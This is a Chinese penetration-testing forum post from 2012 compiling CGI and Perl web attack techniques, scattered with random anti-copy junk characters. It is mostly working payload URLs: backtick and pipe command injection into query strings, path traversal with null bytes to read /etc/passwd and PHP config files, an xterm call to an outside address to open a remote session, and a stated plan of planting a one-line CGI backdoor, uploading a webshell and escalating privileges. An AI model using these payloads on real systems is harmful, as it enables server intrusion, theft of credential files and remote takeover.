中国网络渗透测试联盟
标题:
CGI资料整理
[打印本页]
作者:
admin
时间:
2012-9-13 16:56
标题:
CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
& |4 D9 W9 i1 x) f; L! P
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
& ~1 F0 x9 A0 r( E: U
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
6 b) Q, M6 j% t4 I) ]
注“
: m, L- @& Y: r" T4 B' C
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
- |) M8 n, G& T2 K
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
% F' [7 s$ N6 x
, R" c' d3 ^$ g: N/ a
http://target.com/cgi-bin/home/news/sub.pl?12
随意构造
7 e" {' Q4 P3 u* J) _% F! |0 S! c# n
http://target.com/cgi-bin/home/news/sub.pl?&
换个字符,也许可以执行呢
5 Z9 F a" Z- b
http://target.com/cgi-bin/home/news/sub.pl?`ls`
单引号
. }0 J! C( Q% j7 @7 h
http://target.com/cgi-bin/home/news/sub.pl?`id`
1 F) i9 t$ P/ z U+ S5 C
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
8 W; C8 \) W' _. c+ D% u
http://target.com/cgi-bin/home/news/sub.pl?`cat
<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
0 P- v8 V; P |
! x7 A' b% o5 Y9 d$ f- G3 R% \
http://target.com/test.pl;ls
|
, E, k5 s- z* D. v' w0 \2 C
http://target.com/index.cgi?page=
|ls+-la+/%0aid%0awhich+xterm|
1 A2 J8 s5 i5 x# H
http://target.com/index.cgi?page=
|xterm+-isplay+10.0.1.21:0.0+%26|
' U( U7 [/ s" \1 H3 ^4 K1 Z
http://target.com/test.pl?
’id’ 类似’’内的操作和命令执行自己构造
8 t9 |6 ^+ z1 o
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
% J( j7 M! P Q, V' _' W& \" C% d
http://target.com/index.cgi?page=;dir+c:
\|&cid=03417 类似asp的Sql injection
x4 a/ O: v, V3 _& Z
3 r. _; d: G2 @, X
http://target.com/test.pl?&........
/../../etc/passwd
3 I' e* |9 B m# d8 _
# J$ k6 z# h: s
http://www.target.org/cgi-bin/cl
... info.pl?user=./test 前面加./
/ N7 }' s$ n- h Z
http://www.target.org/cgi-bin/cl
... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
3 F; b' V( h }) Y8 Y% b
http://www.target.org/cgi-bin/cl
... ../../etc/passwd%00
$ J. e0 C A2 G. O
. X- j% S! n0 o; X- w5 C( J4 R
http://www.target.org/show.php?f
... /include/config.php 查看php代码
: t) Q" n) b y0 D6 O! Z- O
http://www.target.org/show.php?f
... ng/admin/global.php
1 V1 _( \: } T* Y+ p2 v
/ G, N8 l1 U4 e
emm和ps的一句话
6 T7 d- c# ?9 N5 a) W: e+ @7 e
5 |* I9 W; P/ ?) Q- T* H
http://www.target.org/cgi-bin/cl
... /../../../bin/ls%20
5 G8 t# e7 r) }- {* Q; q# P" ?. p
: p2 {- G5 b; s2 O7 |8 P
>bbb%20|
6 @ w6 F# L9 {1 n3 |* z6 F% R
" `2 x R* z& z5 H- U
http://www.target.org/cgi-bin/club/scripts
\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
E# B+ k7 q3 }; j& d
# a! P3 z( O) ?# [/ ^) b
http://www.target.org/cgi-bin/cl
... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
' ^2 F; ~. l8 c1 s$ q0 W4 ]
http://www.target.org/csapi/..%c0%afhttp/china.sh
”+.elf?”+&+ls+/bin
9 K( X4 H) ~: k- t# F7 H5 k
0 v$ |# n+ Y" W
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
( v! e( B M8 j: i4 |! b: x
http://target.com/index.html#cmd.exe
/ |; {1 L. m$ Q( e6 D3 w
http://target.com/index.html?dummyparam=xp_cmdshell
* y5 X' _& p, p- S* ~
lynx
http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
5 d6 v, i1 D7 w2 k" p$ b
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2